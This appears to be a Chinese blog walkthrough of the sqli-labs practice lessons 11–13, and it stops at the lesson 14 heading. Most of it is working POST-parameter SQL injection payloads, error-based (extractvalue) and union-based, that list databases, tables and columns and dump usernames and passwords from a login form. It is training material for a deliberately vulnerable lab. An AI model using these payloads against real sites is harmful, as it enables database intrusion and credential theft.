1. 程式人生 > 其它 >sqli-labs(11-20)

sqli-labs(11-20)

less-11

本關還可以使用union聯合查詢注入和盲注

(1)使用burpsuite抓包,修改引數構造payload。

輸入uname=admin' and 1=1--+&passwd=admin&submit=Submit

可以登入

(2)輸入uname=admin' and 1=2--+&passwd=admin&submit=Submit

發現無法登入,說明注入有效,存在報錯型注入,接下來又是重複性的工作,上extractvalue()

(3)爆庫

uname=admin' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))--+&passwd=admin&submit=Submit     //通過不斷改變limit x,1中x的值就可以爆出資料庫中所以的庫

(4)檢視當前資料庫

uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=admin&submit=Submit

(5)爆表

uname=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+&passwd=admin&submit=Submit

(6)爆列

uname=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+&passwd=admin&submit=Submit

(7)爆資料

uname=admin' and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1)))--+&passwd=admin&submit=Submit

less-12

1、union聯合查詢注入

和less-11差不多,改一下閉合方式即可。使用雙引號和括號進行閉合

uname=0") union select database(),user()--+&passwd=admin&submit=Submit

2、報錯注入

報錯注入和less-11不太一樣。檢視原始碼

(1)可以看到sql查詢語句語句:@sql="SELECT username,password FROM users WHERE username=($uname) and password=($password) LIMIT 0,1";構造一個能閉合語句而且會報錯的payload:admin" and extractvalue(1,concat(0x7e,(select database()))) and "

(2)最終admin="admin" and extractvalue(1,concat(0x7e,(select database()))) and " "

    傳入後就變成了:@sql="SELECT username,password FROM users WHERE username="admin" and extractvalue(1,concat(0x7e,(select database()))) and " "and password=($passwd) LIMIT 0,1";

    前閉合,中間查詢,後面報錯,應該是沒有問題的這樣可以回顯:uname=admin" and " &passwd=123456&submit=Submit

(3)使用extractvalue進行報錯注入。

uname=admin" and extractvalue(1,concat(0x7e,database())) and " &passwd=123456&submit=Submit

後面老一套就不再重複了

less-13

登入之後發現沒有回顯資訊,所以union聯合注入行不通了,只能通過報錯注入和盲注

1、報錯注入

uname=admin') and extractvalue(1,concat(0x7e,database())) and ('&passwd=123456&submit=Submit

後面過程和前面一樣

less-14